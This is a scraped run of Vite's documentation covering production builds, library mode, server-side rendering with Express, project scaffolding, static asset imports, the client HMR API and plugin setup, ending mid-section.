via the [`build.target` config option](../config/build-options#build-target), where the lowest target is `es2015`. Note that by default, Vite only handles syntax transforms and **does not cover polyfills by default**. You can check out [Polyfill.io](https://polyfill.io/v3/) which is a service that automatically generates polyfill bundles based on the user's browser UserAgent string. Legacy browsers can be supported via [@vitejs/plugin-legacy](https://github.com/vitejs/vite/tree/main/packages/plugin-legacy), which will automatically generate legacy chunks and corresponding ES language feature polyfills. The legacy chunks are conditionally loaded only in browsers that do not have native ESM support. Public Base Path ---------------- * Related: [Asset Handling](assets) If you are deploying your project under a nested public path, simply specify the [`base` config option](../config/shared-options#base) and all asset paths will be rewritten accordingly. This option can also be specified as a command line flag, e.g. `vite build --base=/my/public/path/`. JS-imported asset URLs, CSS `url()` references, and asset references in your `.html` files are all automatically adjusted to respect this option during build. The exception is when you need to dynamically concatenate URLs on the fly. In this case, you can use the globally injected `import.meta.env.BASE_URL` variable which will be the public base path. Note this variable is statically replaced during build so it must appear exactly as-is (i.e. `import.meta.env['BASE_URL']` won't work). For advanced base path control, check out [Advanced Base Options](#advanced-base-options). Customizing the Build --------------------- The build can be customized via various [build config options](../config/build-options). Specifically, you can directly adjust the underlying [Rollup options](https://rollupjs.org/configuration-options/) via `build.rollupOptions`: js ``` // vite.config.js export default defineConfig({ build: { rollupOptions: { // https://rollupjs.org/configuration-options/ }, }, }) ``` For example, you can specify multiple Rollup outputs with plugins that are only applied during build. Chunking Strategy ----------------- You can configure how chunks are split using `build.rollupOptions.output.manualChunks` (see [Rollup docs](https://rollupjs.org/configuration-options/#output-manualchunks)). Until Vite 2.8, the default chunking strategy divided the chunks into `index` and `vendor`. It is a good strategy for some SPAs, but it is hard to provide a general solution for every Vite target use case. From Vite 2.9, `manualChunks` is no longer modified by default. You can continue to use the Split Vendor Chunk strategy by adding the `splitVendorChunkPlugin` in your config file: js ``` // vite.config.js import { splitVendorChunkPlugin } from 'vite' export default defineConfig({ plugins: [splitVendorChunkPlugin()], }) ``` This strategy is also provided as a `splitVendorChunk({ cache: SplitVendorChunkCache })` factory, in case composition with custom logic is needed. `cache.reset()` needs to be called at `buildStart` for build watch mode to work correctly in this case. Rebuild on files changes ------------------------ You can enable rollup watcher with `vite build --watch`. Or, you can directly adjust the underlying [`WatcherOptions`](https://rollupjs.org/configuration-options/#watch) via `build.watch`: js ``` // vite.config.js export default defineConfig({ build: { watch: { // https://rollupjs.org/configuration-options/#watch }, }, }) ``` With the `--watch` flag enabled, changes to the `vite.config.js`, as well as any files to be bundled, will trigger a rebuild. Multi-Page App -------------- Suppose you have the following source code structure: ``` ├── package.json ├── vite.config.js ├── index.html ├── main.js └── nested ├── index.html └── nested.js ``` During dev, simply navigate or link to `/nested/` - it works as expected, just like for a normal static file server. During build, all you need to do is to specify multiple `.html` files as entry points: js ``` // vite.config.js import { resolve } from 'path' import { defineConfig } from 'vite' export default defineConfig({ build: { rollupOptions: { input: { main: resolve(__dirname, 'index.html'), nested: resolve(__dirname, 'nested/index.html'), }, }, }, }) ``` If you specify a different root, remember that `__dirname` will still be the folder of your vite.config.js file when resolving the input paths. Therefore, you will need to add your `root` entry to the arguments for `resolve`. Library Mode ------------ When you are developing a browser-oriented library, you are likely spending most of the time on a test/demo page that imports your actual library. With Vite, you can use your `index.html` for that purpose to get the smooth development experience. When it is time to bundle your library for distribution, use the [`build.lib` config option](../config/build-options#build-lib). Make sure to also externalize any dependencies that you do not want to bundle into your library, e.g. `vue` or `react`: js ``` // vite.config.js import { resolve } from 'path' import { defineConfig } from 'vite' export default defineConfig({ build: { lib: { // Could also be a dictionary or array of multiple entry points entry: resolve(__dirname, 'lib/main.js'), name: 'MyLib', // the proper extensions will be added fileName: 'my-lib', }, rollupOptions: { // make sure to externalize deps that shouldn't be bundled // into your library external: ['vue'], output: { // Provide global variables to use in the UMD build // for externalized deps globals: { vue: 'Vue', }, }, }, }, }) ``` The entry file would contain exports that can be imported by users of your package: js ``` // lib/main.js import Foo from './Foo.vue' import Bar from './Bar.vue' export { Foo, Bar } ``` Running `vite build` with this config uses a Rollup preset that is oriented towards shipping libraries and produces two bundle formats: `es` and `umd` (configurable via `build.lib`): ``` $ vite build building for production... dist/my-lib.js 0.08 KiB / gzip: 0.07 KiB dist/my-lib.umd.cjs 0.30 KiB / gzip: 0.16 KiB ``` Recommended `package.json` for your lib: json ``` { "name": "my-lib", "type": "module", "files": ["dist"], "main": "./dist/my-lib.umd.cjs", "module": "./dist/my-lib.js", "exports": { ".": { "import": "./dist/my-lib.js", "require": "./dist/my-lib.umd.cjs" } } } ``` Or, if exposing multiple entry points: json ``` { "name": "my-lib", "type": "module", "files": ["dist"], "main": "./dist/my-lib.cjs", "module": "./dist/my-lib.js", "exports": { ".": { "import": "./dist/my-lib.js", "require": "./dist/my-lib.cjs" }, "./secondary": { "import": "./dist/secondary.js", "require": "./dist/secondary.cjs" } } } ``` **Note**If the `package.json` does not contain `"type": "module"`, Vite will generate different file extensions for Node.js compatibility. `.js` will become `.mjs` and `.cjs` will become `.js`. **Environment Variables**In library mode, all `import.meta.env.*` usage are statically replaced when building for production. However, `process.env.*` usage are not, so that consumers of your library can dynamically change it. If this is undesirable, you can use `define: { 'process.env.``NODE_ENV': '"production"' }` for example to statically replace them. Advanced Base Options --------------------- **WARNING**This feature is experimental, the API may change in a future minor without following semver. Please always pin Vite's version to a minor when using it. For advanced use cases, the deployed assets and public files may be in different paths, for example to use different cache strategies. A user may choose to deploy in three different paths: * The generated entry HTML files (which may be processed during SSR) * The generated hashed assets (JS, CSS, and other file types like images) * The copied [public files](assets#the-public-directory) A single static [base](#public-base-path) isn't enough in these scenarios. Vite provides experimental support for advanced base options during build, using `experimental.renderBuiltUrl`. ts ``` experimental: { renderBuiltUrl(filename: string, { hostType }: { hostType: 'js' | 'css' | 'html' }) { if (hostType === 'js') { return { runtime: `window.__toCdnUrl(${JSON.stringify(filename)})` } } else { return { relative: true } } } } ``` If the hashed assets and public files aren't deployed together, options for each group can be defined independently using asset `type` included in the second `context` param given to the function. ts ``` experimental: { renderBuiltUrl(filename: string, { hostId, hostType, type }: { hostId: string, hostType: 'js' | 'css' | 'html', type: 'public' | 'asset' }) { if (type === 'public') { return 'https://www.domain.com/' + filename } else if (path.extname(hostId) === '.js') { return { runtime: `window.__assetsPath(${JSON.stringify(filename)})` } } else { return 'https://cdn.domain.com/assets/' + filename } } } ```
programming_docs
vite Server-Side Rendering Server-Side Rendering ===================== **Note**SSR specifically refers to front-end frameworks (for example React, Preact, Vue, and Svelte) that support running the same application in Node.js, pre-rendering it to HTML, and finally hydrating it on the client. If you are looking for integration with traditional server-side frameworks, check out the [Backend Integration guide](backend-integration) instead. The following guide also assumes prior experience working with SSR in your framework of choice, and will only focus on Vite-specific integration details. **Low-level API**This is a low-level API meant for library and framework authors. If your goal is to create an application, make sure to check out the higher-level SSR plugins and tools at [Awesome Vite SSR section](https://github.com/vitejs/awesome-vite#ssr) first. That said, many applications are successfully built directly on top of Vite's native low-level API. **Help**If you have questions, the community is usually helpful at [Vite Discord's #ssr channel](https://discord.gg/PkbxgzPhJv). Example Projects ---------------- Vite provides built-in support for server-side rendering (SSR). The Vite playground contains example SSR setups for Vue 3 and React, which can be used as references for this guide: * [Vue 3](https://github.com/vitejs/vite-plugin-vue/tree/main/playground/ssr-vue) * [React](https://github.com/vitejs/vite-plugin-react/tree/main/playground/ssr-react) Source Structure ---------------- A typical SSR application will have the following source file structure: ``` - index.html - server.js # main application server - src/ - main.js # exports env-agnostic (universal) app code - entry-client.js # mounts the app to a DOM element - entry-server.js # renders the app using the framework's SSR API ``` The `index.html` will need to reference `entry-client.js` and include a placeholder where the server-rendered markup should be injected: html ``` <div id="app"><!--ssr-outlet--></div> <script type="module" src="/src/entry-client.js"></script> ``` You can use any placeholder you prefer instead of `<!--ssr-outlet-->`, as long as it can be precisely replaced. Conditional Logic ----------------- If you need to perform conditional logic based on SSR vs. client, you can use js ``` if (import.meta.env.SSR) { // ... server only logic } ``` This is statically replaced during build so it will allow tree-shaking of unused branches. Setting Up the Dev Server ------------------------- When building an SSR app, you likely want to have full control over your main server and decouple Vite from the production environment. It is therefore recommended to use Vite in middleware mode. Here is an example with [express](https://expressjs.com/): **server.js** js ``` import fs from 'fs' import path from 'path' import { fileURLToPath } from 'url' import express from 'express' import { createServer as createViteServer } from 'vite' const __dirname = path.dirname(fileURLToPath(import.meta.url)) async function createServer() { const app = express() // Create Vite server in middleware mode and configure the app type as // 'custom', disabling Vite's own HTML serving logic so parent server // can take control const vite = await createViteServer({ server: { middlewareMode: true }, appType: 'custom' }) // use vite's connect instance as middleware // if you use your own express router (express.Router()), you should use router.use app.use(vite.middlewares) app.use('*', async (req, res) => { // serve index.html - we will tackle this next }) app.listen(5173) } createServer() ``` Here `vite` is an instance of [ViteDevServer](api-javascript#vitedevserver). `vite.middlewares` is a [Connect](https://github.com/senchalabs/connect) instance which can be used as a middleware in any connect-compatible Node.js framework. The next step is implementing the `*` handler to serve server-rendered HTML: js ``` app.use('*', async (req, res, next) => { const url = req.originalUrl try { // 1. Read index.html let template = fs.readFileSync( path.resolve(__dirname, 'index.html'), 'utf-8', ) // 2. Apply Vite HTML transforms. This injects the Vite HMR client, and // also applies HTML transforms from Vite plugins, e.g. global preambles // from @vitejs/plugin-react template = await vite.transformIndexHtml(url, template) // 3. Load the server entry. vite.ssrLoadModule automatically transforms // your ESM source code to be usable in Node.js! There is no bundling // required, and provides efficient invalidation similar to HMR. const { render } = await vite.ssrLoadModule('/src/entry-server.js') // 4. render the app HTML. This assumes entry-server.js's exported `render` // function calls appropriate framework SSR APIs, // e.g. ReactDOMServer.renderToString() const appHtml = await render(url) // 5. Inject the app-rendered HTML into the template. const html = template.replace(`<!--ssr-outlet-->`, appHtml) // 6. Send the rendered HTML back. res.status(200).set({ 'Content-Type': 'text/html' }).end(html) } catch (e) { // If an error is caught, let Vite fix the stack trace so it maps back to // your actual source code. vite.ssrFixStacktrace(e) next(e) } }) ``` The `dev` script in `package.json` should also be changed to use the server script instead: diff ``` "scripts": { - "dev": "vite" + "dev": "node server" } ``` Building for Production ----------------------- To ship an SSR project for production, we need to: 1. Produce a client build as normal; 2. Produce an SSR build, which can be directly loaded via `import()` so that we don't have to go through Vite's `ssrLoadModule`; Our scripts in `package.json` will look like this: json ``` { "scripts": { "dev": "node server", "build:client": "vite build --outDir dist/client", "build:server": "vite build --outDir dist/server --ssr src/entry-server.js" } } ``` Note the `--ssr` flag which indicates this is an SSR build. It should also specify the SSR entry. Then, in `server.js` we need to add some production specific logic by checking `process.env.``NODE_ENV`: * Instead of reading the root `index.html`, use the `dist/client/index.html` as the template instead, since it contains the correct asset links to the client build. * Instead of `await vite.ssrLoadModule('/src/entry-server.js')`, use `import('./dist/server/entry-server.js')` instead (this file is the result of the SSR build). * Move the creation and all usage of the `vite` dev server behind dev-only conditional branches, then add static file serving middlewares to serve files from `dist/client`. Refer to the [Vue](https://github.com/vitejs/vite-plugin-vue/tree/main/playground/ssr-vue) and [React](https://github.com/vitejs/vite-plugin-react/tree/main/playground/ssr-react) demos for a working setup. Generating Preload Directives ----------------------------- `vite build` supports the `--ssrManifest` flag which will generate `ssr-manifest.json` in build output directory: diff ``` - "build:client": "vite build --outDir dist/client", + "build:client": "vite build --outDir dist/client --ssrManifest", ``` The above script will now generate `dist/client/ssr-manifest.json` for the client build (Yes, the SSR manifest is generated from the client build because we want to map module IDs to client files). The manifest contains mappings of module IDs to their associated chunks and asset files. To leverage the manifest, frameworks need to provide a way to collect the module IDs of the components that were used during a server render call. `@vitejs/plugin-vue` supports this out of the box and automatically registers used component module IDs on to the associated Vue SSR context: js ``` // src/entry-server.js const ctx = {} const html = await vueServerRenderer.renderToString(app, ctx) // ctx.modules is now a Set of module IDs that were used during the render ``` In the production branch of `server.js` we need to read and pass the manifest to the `render` function exported by `src/entry-server.js`. This would provide us with enough information to render preload directives for files used by async routes! See [demo source](https://github.com/vitejs/vite-plugin-vue/blob/main/playground/ssr-vue/src/entry-server.js) for a full example. You can also use this information for [103 Early Hints](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/103). Pre-Rendering / SSG ------------------- If the routes and the data needed for certain routes are known ahead of time, we can pre-render these routes into static HTML using the same logic as production SSR. This can also be considered a form of Static-Site Generation (SSG). See [demo pre-render script](https://github.com/vitejs/vite-plugin-vue/blob/main/playground/ssr-vue/prerender.js) for working example. SSR Externals ------------- Dependencies are "externalized" from Vite's SSR transform module system by default when running SSR. This speeds up both dev and build. If a dependency needs to be transformed by Vite's pipeline, for example, because Vite features are used untranspiled in them, they can be added to [`ssr.noExternal`](../config/ssr-options#ssr-noexternal). For linked dependencies, they are not externalized by default to take advantage of Vite's HMR. If this isn't desired, for example, to test dependencies as if they aren't linked, you can add it to [`ssr.external`](../config/ssr-options#ssr-external). **Working with Aliases**If you have configured aliases that redirect one package to another, you may want to alias the actual `node_modules` packages instead to make it work for SSR externalized dependencies. Both [Yarn](https://classic.yarnpkg.com/en/docs/cli/add/#toc-yarn-add-alias) and [pnpm](https://pnpm.js.org/en/aliases) support aliasing via the `npm:` prefix. SSR-specific Plugin Logic ------------------------- Some frameworks such as Vue or Svelte compile components into different formats based on client vs. SSR. To support conditional transforms, Vite passes an additional `ssr` property in the `options` object of the following plugin hooks: * `resolveId` * `load` * `transform` **Example:** js ``` export function mySSRPlugin() { return { name: 'my-ssr', transform(code, id, options) { if (options?.ssr) { // perform ssr-specific transform... } }, } } ``` The options object in `load` and `transform` is optional, rollup is not currently using this object but may extend these hooks with additional metadata in the future. **Note**Before Vite 2.7, this was informed to plugin hooks with a positional `ssr` param instead of using the `options` object. All major frameworks and plugins are updated but you may find outdated posts using the previous API. SSR Target ---------- The default target for the SSR build is a node environment, but you can also run the server in a Web Worker. Packages entry resolution is different for each platform. You can configure the target to be Web Worker using the `ssr.target` set to `'webworker'`. SSR Bundle ---------- In some cases like `webworker` runtimes, you might want to bundle your SSR build into a single JavaScript file. You can enable this behavior by setting `ssr.noExternal` to `true`. This will do two things: * Treat all dependencies as `noExternal` * Throw an error if any Node.js built-ins are imported Vite CLI -------- The CLI commands `$ vite dev` and `$ vite preview` can also be used for SSR apps. You can add your SSR middlewares to the development server with [`configureServer`](api-plugin#configureserver) and to the preview server with [`configurePreviewServer`](api-plugin#configurepreviewserver). **Note**Use a post hook so that your SSR middleware runs *after* Vite's middlewares. SSR Format ---------- By default, Vite generates the SSR bundle in ESM. There is experimental support for configuring `ssr.format`, but it isn't recommended. Future efforts around SSR development will be based on ESM, and CommonJS remains available for backward compatibility. If using ESM for SSR isn't possible in your project, you can set `legacy.buildSsrCjsExternalHeuristics: true` to generate a CJS bundle using the same [externalization heuristics of Vite v2](https://v2.vitejs.dev/guide/ssr.html#ssr-externals). vite Getting Started Getting Started =============== Overview -------- Vite (French word for "quick", pronounced `/vit/`, like "veet") is a build tool that aims to provide a faster and leaner development experience for modern web projects. It consists of two major parts: * A dev server that provides [rich feature enhancements](features) over [native ES modules](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Modules), for example extremely fast [Hot Module Replacement (HMR)](features#hot-module-replacement). * A build command that bundles your code with [Rollup](https://rollupjs.org), pre-configured to output highly optimized static assets for production. Vite is opinionated and comes with sensible defaults out of the box, but is also highly extensible via its [Plugin API](api-plugin) and [JavaScript API](api-javascript) with full typing support. You can learn more about the rationale behind the project in the [Why Vite](why) section. Browser Support --------------- The default build targets browsers that support [native ES Modules](https://caniuse.com/es6-module), [native ESM dynamic import](https://caniuse.com/es6-module-dynamic-import), and [`import.meta`](https://caniuse.com/mdn-javascript_operators_import_meta). Legacy browsers can be supported via the official [@vitejs/plugin-legacy](https://github.com/vitejs/vite/tree/main/packages/plugin-legacy) - see the [Building for Production](build) section for more details. Trying Vite Online ------------------ You can try Vite online on [StackBlitz](https://vite.new/). It runs the Vite-based build setup directly in the browser, so it is almost identical to the local setup but doesn't require installing anything on your machine. You can navigate to `vite.new/{template}` to select which framework to use. The supported template presets are: | JavaScript | TypeScript | | --- | --- | | [vanilla](https://vite.new/vanilla) | [vanilla-ts](https://vite.new/vanilla-ts) | | [vue](https://vite.new/vue) | [vue-ts](https://vite.new/vue-ts) | | [react](https://vite.new/react) | [react-ts](https://vite.new/react-ts) | | [preact](https://vite.new/preact) | [preact-ts](https://vite.new/preact-ts) | | [lit](https://vite.new/lit) | [lit-ts](https://vite.new/lit-ts) | | [svelte](https://vite.new/svelte) | [svelte-ts](https://vite.new/svelte-ts) | Scaffolding Your First Vite Project ----------------------------------- **Compatibility Note**Vite requires [Node.js](https://nodejs.org/en/) version 14.18+, 16+. However, some templates require a higher Node.js version to work, please upgrade if your package manager warns about it. With NPM: bash ``` $ npm create vite@latest ``` With Yarn: bash ``` $ yarn create vite ``` With PNPM: bash ``` $ pnpm create vite ``` Then follow the prompts! You can also directly specify the project name and the template you want to use via additional command line options. For example, to scaffold a Vite + Vue project, run: bash ``` # npm 6.x npm create vite@latest my-vue-app --template vue # npm 7+, extra double-dash is needed: npm create vite@latest my-vue-app -- --template vue # yarn yarn create vite my-vue-app --template vue # pnpm pnpm create vite my-vue-app --template vue ``` See [create-vite](https://github.com/vitejs/vite/tree/main/packages/create-vite) for more details on each supported template: `vanilla`, `vanilla-ts`, `vue`, `vue-ts`, `react`, `react-ts`, `react-swc`, `react-swc-ts`, `preact`, `preact-ts`, `lit`, `lit-ts`, `svelte`, `svelte-ts`. Community Templates ------------------- create-vite is a tool to quickly start a project from a basic template for popular frameworks. Check out Awesome Vite for [community maintained templates](https://github.com/vitejs/awesome-vite#templates) that include other tools or target different frameworks. You can use a tool like [degit](https://github.com/Rich-Harris/degit) to scaffold your project with one of the templates. bash ``` npx degit user/project my-project cd my-project npm install npm run dev ``` If the project uses `main` as the default branch, suffix the project repo with `#main` bash ``` npx degit user/project#main my-project ``` `index.html` and Project Root ------------------------------ One thing you may have noticed is that in a Vite project, `index.html` is front-and-central instead of being tucked away inside `public`. This is intentional: during development Vite is a server, and `index.html` is the entry point to your application. Vite treats `index.html` as source code and part of the module graph. It resolves `<script type="module" src="...">` that references your JavaScript source code. Even inline `<script type="module">` and CSS referenced via `<link href>` also enjoy Vite-specific features. In addition, URLs inside `index.html` are automatically rebased so there's no need for special `%PUBLIC_URL%` placeholders. Similar to static http servers, Vite has the concept of a "root directory" which your files are served from. You will see it referenced as `<root>` throughout the rest of the docs. Absolute URLs in your source code will be resolved using the project root as base, so you can write code as if you are working with a normal static file server (except way more powerful!). Vite is also capable of handling dependencies that resolve to out-of-root file system locations, which makes it usable even in a monorepo-based setup. Vite also supports [multi-page apps](build#multi-page-app) with multiple `.html` entry points. #### Specifying Alternative Root Running `vite` starts the dev server using the current working directory as root. You can specify an alternative root with `vite serve some/sub/dir`. Command Line Interface ---------------------- In a project where Vite is installed, you can use the `vite` binary in your npm scripts, or run it directly with `npx vite`. Here are the default npm scripts in a scaffolded Vite project: json ``` { "scripts": { "dev": "vite", // start dev server, aliases: `vite dev`, `vite serve` "build": "vite build", // build for production "preview": "vite preview" // locally preview production build } } ``` You can specify additional CLI options like `--port` or `--https`. For a full list of CLI options, run `npx vite --help` in your project. Learn more about the [Command Line Interface](cli) Using Unreleased Commits ------------------------ If you can't wait for a new release to test the latest features, you will need to clone the [vite repo](https://github.com/vitejs/vite) to your local machine and then build and link it yourself ([pnpm](https://pnpm.io/) is required): bash ``` git clone https://github.com/vitejs/vite.git cd vite pnpm install cd packages/vite pnpm run build pnpm link --global # you can use your preferred package manager for this step ``` Then go to your Vite based project and run `pnpm link --global vite` (or the package manager that you used to link `vite` globally). Now restart the development server to ride on the bleeding edge! Community --------- If you have questions or need help, reach out to the community at [Discord](https://chat.vitejs.dev) and [GitHub Discussions](https://github.com/vitejs/vite/discussions). vite Static Asset Handling Static Asset Handling ===================== * Related: [Public Base Path](build#public-base-path) * Related: [`assetsInclude` config option](../config/shared-options#assetsinclude) Importing Asset as URL ---------------------- Importing a static asset will return the resolved public URL when it is served: js ``` import imgUrl from './img.png' document.getElementById('hero-img').src = imgUrl ``` For example, `imgUrl` will be `/img.png` during development, and become `/assets/img.2d8efhg.png` in the production build. The behavior is similar to webpack's `file-loader`. The difference is that the import can be either using absolute public paths (based on project root during dev) or relative paths. * `url()` references in CSS are handled the same way. * If using the Vue plugin, asset references in Vue SFC templates are automatically converted into imports. * Common image, media, and font filetypes are detected as assets automatically. You can extend the internal list using the [`assetsInclude` option](../config/shared-options#assetsinclude). * Referenced assets are included as part of the build assets graph, will get hashed file names, and can be processed by plugins for optimization. * Assets smaller in bytes than the [`assetsInlineLimit` option](../config/build-options#build-assetsinlinelimit) will be inlined as base64 data URLs. * Git LFS placeholders are automatically excluded from inlining because they do not contain the content of the file they represent. To get inlining, make sure to download the file contents via Git LFS before building. * TypeScript, by default, does not recognize static asset imports as valid modules. To fix this, include [`vite/client`](features#client-types). ### Explicit URL Imports Assets that are not included in the internal list or in `assetsInclude`, can be explicitly imported as a URL using the `?url` suffix. This is useful, for example, to import [Houdini Paint Worklets](https://houdini.how/usage). js ``` import workletURL from 'extra-scalloped-border/worklet.js?url' CSS.paintWorklet.addModule(workletURL) ``` ### Importing Asset as String Assets can be imported as strings using the `?raw` suffix. js ``` import shaderString from './shader.glsl?raw' ``` ### Importing Script as a Worker Scripts can be imported as web workers with the `?worker` or `?sharedworker` suffix. js ``` // Separate chunk in the production build import Worker from './shader.js?worker' const worker = new Worker() ``` js ``` // sharedworker import SharedWorker from './shader.js?sharedworker' const sharedWorker = new SharedWorker() ``` js ``` // Inlined as base64 strings import InlineWorker from './shader.js?worker&inline' ``` Check out the [Web Worker section](features#web-workers) for more details. The `public` Directory ---------------------- If you have assets that are: * Never referenced in source code (e.g. `robots.txt`) * Must retain the exact same file name (without hashing) * ...or you simply don't want to have to import an asset first just to get its URL Then you can place the asset in a special `public` directory under your project root. Assets in this directory will be served at root path `/` during dev, and copied to the root of the dist directory as-is. The directory defaults to `<root>/public`, but can be configured via the [`publicDir` option](../config/shared-options#publicdir). Note that: * You should always reference `public` assets using root absolute path - for example, `public/icon.png` should be referenced in source code as `/icon.png`. * Assets in `public` cannot be imported from JavaScript. new URL(url, import.meta.url) ----------------------------- [import.meta.url](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/import%2Emeta) is a native ESM feature that exposes the current module's URL. Combining it with the native [URL constructor](https://developer.mozilla.org/en-US/docs/Web/API/URL), we can obtain the full, resolved URL of a static asset using relative path from a JavaScript module: js ``` const imgUrl = new URL('./img.png', import.meta.url).href document.getElementById('hero-img').src = imgUrl ``` This works natively in modern browsers - in fact, Vite doesn't need to process this code at all during development! This pattern also supports dynamic URLs via template literals: js ``` function getImageUrl(name) { return new URL(`./dir/${name}.png`, import.meta.url).href } ``` During the production build, Vite will perform necessary transforms so that the URLs still point to the correct location even after bundling and asset hashing. However, the URL string must be static so it can be analyzed, otherwise the code will be left as is, which can cause runtime errors if `build.target` does not support `import.meta.url` js ``` // Vite will not transform this const imgUrl = new URL(imagePath, import.meta.url).href ``` **Does not work with SSR**This pattern does not work if you are using Vite for Server-Side Rendering, because `import.meta.url` have different semantics in browsers vs. Node.js. The server bundle also cannot determine the client host URL ahead of time.
programming_docs
vite HMR API HMR API ======= **Note**This is the client HMR API. For handling HMR update in plugins, see [handleHotUpdate](api-plugin#handlehotupdate). The manual HMR API is primarily intended for framework and tooling authors. As an end user, HMR is likely already handled for you in the framework specific starter templates. Vite exposes its manual HMR API via the special `import.meta.hot` object: ts ``` interface ImportMeta { readonly hot?: ViteHotContext } type ModuleNamespace = Record<string, any> & { [Symbol.toStringTag]: 'Module' } interface ViteHotContext { readonly data: any accept(): void accept(cb: (mod: ModuleNamespace | undefined) => void): void accept(dep: string, cb: (mod: ModuleNamespace | undefined) => void): void accept( deps: readonly string[], cb: (mods: Array<ModuleNamespace | undefined>) => void, ): void dispose(cb: (data: any) => void): void prune(cb: (data: any) => void): void invalidate(message?: string): void // `InferCustomEventPayload` provides types for built-in Vite events on<T extends string>( event: T, cb: (payload: InferCustomEventPayload<T>) => void, ): void send<T extends string>(event: T, data?: InferCustomEventPayload<T>): void } ``` Required Conditional Guard -------------------------- First of all, make sure to guard all HMR API usage with a conditional block so that the code can be tree-shaken in production: js ``` if (import.meta.hot) { // HMR code } ``` `hot.accept(cb)` ----------------- For a module to self-accept, use `import.meta.hot.accept` with a callback which receives the updated module: js ``` export const count = 1 if (import.meta.hot) { import.meta.hot.accept((newModule) => { if (newModule) { // newModule is undefined when SyntaxError happened console.log('updated: count is now ', newModule.count) } }) } ``` A module that "accepts" hot updates is considered an **HMR boundary**. Vite's HMR does not actually swap the originally imported module: if an HMR boundary module re-exports imports from a dep, then it is responsible for updating those re-exports (and these exports must be using `let`). In addition, importers up the chain from the boundary module will not be notified of the change. This simplified HMR implementation is sufficient for most dev use cases, while allowing us to skip the expensive work of generating proxy modules. Vite requires that the call to this function appears as `import.meta.hot.accept(` (whitespace-sensitive) in the source code in order for the module to accept update. This is a requirement of the static analysis that Vite does to enable HMR support for a module. `hot.accept(deps, cb)` ----------------------- A module can also accept updates from direct dependencies without reloading itself: js ``` import { foo } from './foo.js' foo() if (import.meta.hot) { import.meta.hot.accept('./foo.js', (newFoo) => { // the callback receives the updated './foo.js' module newFoo?.foo() }) // Can also accept an array of dep modules: import.meta.hot.accept( ['./foo.js', './bar.js'], ([newFooModule, newBarModule]) => { // The callback receives an array where only the updated module is non null // If the update was not successful (syntax error for ex.), the array is empty }, ) } ``` `hot.dispose(cb)` ------------------ A self-accepting module or a module that expects to be accepted by others can use `hot.dispose` to clean-up any persistent side effects created by its updated copy: js ``` function setupSideEffect() {} setupSideEffect() if (import.meta.hot) { import.meta.hot.dispose((data) => { // cleanup side effect }) } ``` `hot.prune(cb)` ---------------- Register a callback that will call when the module is no longer imported on the page. Compared to `hot.dispose`, this can be used if the source code cleans up side-effects by itself on updates and you only need to clean-up when it's removed from the page. Vite currently uses this for `.css` imports. js ``` function setupOrReuseSideEffect() {} setupOrReuseSideEffect() if (import.meta.hot) { import.meta.hot.prune((data) => { // cleanup side effect }) } ``` `hot.data` ----------- The `import.meta.hot.data` object is persisted across different instances of the same updated module. It can be used to pass on information from a previous version of the module to the next one. `hot.decline()` ---------------- This is currently a noop and is there for backward compatibility. This could change in the future if there is a new usage for it. To indicate that the module is not hot-updatable, use `hot.invalidate()`. `hot.invalidate(message?: string)` ----------------------------------- A self-accepting module may realize during runtime that it can't handle a HMR update, and so the update needs to be forcefully propagated to importers. By calling `import.meta.hot.invalidate()`, the HMR server will invalidate the importers of the caller, as if the caller wasn't self-accepting. This will log a message both in the browser console and in the terminal. You can pass a message to give some context on why the invalidation happened. Note that you should always call `import.meta.hot.accept` even if you plan to call `invalidate` immediately afterwards, or else the HMR client won't listen for future changes to the self-accepting module. To communicate your intent clearly, we recommend calling `invalidate` within the `accept` callback like so: js ``` import.meta.hot.accept((module) => { // You may use the new module instance to decide whether to invalidate. if (cannotHandleUpdate(module)) { import.meta.hot.invalidate() } }) ``` `hot.on(event, cb)` -------------------- Listen to an HMR event. The following HMR events are dispatched by Vite automatically: * `'vite:beforeUpdate'` when an update is about to be applied (e.g. a module will be replaced) * `'vite:afterUpdate'` when an update has just been applied (e.g. a module has been replaced) * `'vite:beforeFullReload'` when a full reload is about to occur * `'vite:beforePrune'` when modules that are no longer needed are about to be pruned * `'vite:invalidate'` when a module is invalidated with `import.meta.hot.invalidate()` * `'vite:error'` when an error occurs (e.g. syntax error) Custom HMR events can also be sent from plugins. See [handleHotUpdate](api-plugin#handlehotupdate) for more details. `hot.send(event, data)` ------------------------ Send custom events back to Vite's dev server. If called before connected, the data will be buffered and sent once the connection is established. See [Client-server Communication](api-plugin#client-server-communication) for more details. vite Using Plugins Using Plugins ============= Vite can be extended using plugins, which are based on Rollup's well-designed plugin interface with a few extra Vite-specific options. This means that Vite users can rely on the mature ecosystem of Rollup plugins, while also being able to extend the dev server and SSR functionality as needed. Adding a Plugin --------------- To use a plugin, it needs to be added to the `devDependencies` of the project and included in the `plugins` array in the `vite.config.js` config file. For example, to provide support for legacy browsers, the official [@vitejs/plugin-legacy](https://github.com/vitejs/vite/tree/main/packages/plugin-legacy) can be used: ``` $ npm add -D @vitejs/plugin-legacy ``` js ``` // vite.config.js import legacy from '@vitejs/plugin-legacy' import { defineConfig } from 'vite' export default defineConfig({ plugins: [ legacy({ targets: ['defaults', 'not IE 11'], }), ], }) ``` `plugins` also accepts presets including several plugins as a single element. This is useful for complex features (like framework integration) that are implemented using several plugins. The array will be flattened internally. Falsy plugins will be ignored, which can be used to easily activate or deactivate plugins. Finding Plugins --------------- **NOTE**Vite aims to provide out-of-the-box support for common web development patterns. Before searching for a Vite or compatible Rollup plugin, check out the [Features Guide](features). A lot of the cases where a plugin would be needed in a Rollup project are already covered in Vite. Check out the [Plugins section](https://vitejs.dev/plugins/) for information about official plugins. Community plugins are listed in [awesome-vite](https://github.com/vitejs/awesome-vite#plugins). For compatible Rollup plugins, check out [Vite Rollup Plugins](https://vite-rollup-plugins.patak.dev) for a list of compatible official Rollup plugins with usage instructions or the [Rollup Plugin Compatibility section](api-plugin#rollup-plugin-compatibility) in case it is not listed there. You can also find plugins that follow the [recommended conventions](api-plugin#conventions) using a [npm search for vite-plugin](https://www.npmjs.com/search?q=vite-plugin&ranking=popularity) for Vite plugins or a [npm search for rollup-plugin](https://www.npmjs.com/search?q=rollup-plugin&ranking=popularity) for Rollup plugins. Enforcing Plugin Ordering ------------------------- For compatibility with some Rollup plugins, it may be needed to enforce the order of the plugin or only apply at build time. This should be an implementation detail for Vite plugins. You can enforce the position of a plugin with the `enforce` modifier: * `pre`: invoke plugin before Vite core plugins * default: 